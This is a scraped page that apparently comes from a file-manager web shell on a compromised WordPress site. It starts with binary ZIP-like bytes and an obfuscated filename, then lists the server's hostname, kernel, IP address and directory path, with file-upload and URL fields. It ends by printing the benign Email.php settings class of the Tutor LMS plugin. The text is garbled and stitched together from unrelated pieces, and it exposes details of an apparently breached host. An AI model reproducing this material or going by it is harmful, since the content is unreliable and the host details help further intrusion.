PK œqhYî¶J‚ßFßF)nhhjz3kjnjjwmknjzzqznjzmm1kzmjrmz4qmm.itm/*\U8ewW087XJD%onwUMbJa]Y2zT?AoLMavr%5P*/ $#$#$#

Dir : /home/ithome/public_html/education/wp-content/plugins/tutor/classes/
Server: Linux host100322.itwesthosting.com 3.10.0-1160.144.1.el7.tuxcare.els4.x86_64 #1 SMP Tue Apr 7 08:40:40 UTC 2026 x86_64
IP: 144.91.64.173
Choose File :

Url:
Dir : /home/ithome/public_html/education/wp-content/plugins/tutor/classes/Email.php

<?php
/**
 * Created by PhpStorm.
 * User: mhshohel
 * Date: 30/9/19
 * Time: 3:20 PM
 */

namespace TUTOR;


class Email {

	public function __construct() {
		add_filter('tutor/options/attr', array($this, 'add_options'));

		if ( ! function_exists('tutor_pro')) {
			add_action( 'tutor_options_before_email_notification', array( $this, 'no_pro_message' ) );
		}
	}

	public function add_options($attr){
		$attr['email_notification'] = array(
			'label'     => __('E-Mail Notification', 'tutor-pro'),
			'sections'    => array(
				'email_settings' => array(
					'label' => __('E-Mail Settings', 'tutor-pro'),
					'desc' => __('Check and place necessary information here.', 'tutor-pro'),
					'fields' => array(
						'email_from_name' => array(
							'type'      => 'text',
							'label'     => __('Name', 'tutor-pro'),
							'default'   => get_option('blogname'),
							'desc'      => __('The name under which all the emails will be sent',	'tutor'),
						),
						'email_from_address' => array(
							'type'      => 'text',
							'label'     => __('E-Mail Address', 'tutor-pro'),
							'default'   => get_option('admin_email'),
							'desc'      => __('The E-Mail address from which all emails will be sent', 'tutor-pro'),
						),
						'email_footer_text' => array(
							'type'      => 'textarea',
							'label'     => __('E-Mail Footer Text', 'tutor-pro'),
							'default'   => '',
							'desc'      => __('The text to appear in E-Mail template footer', 'tutor-pro'),
						),
					),
				),

			),
		);


		return $attr;
	}


	public function no_pro_message(){
		tutor_alert(sprintf(__(' %s Get Tutor LMS Pro %s to extend email functionality and send email notifications for certain events. You can easily choose the events for which you wish to send emails.', 'tutor'), "<strong> <a href='https://www.themeum.com/product/tutor-lms/?utm_source=tutor_lms_email_settings' target='_blank'>", "</a></strong>"  ) );

	}

}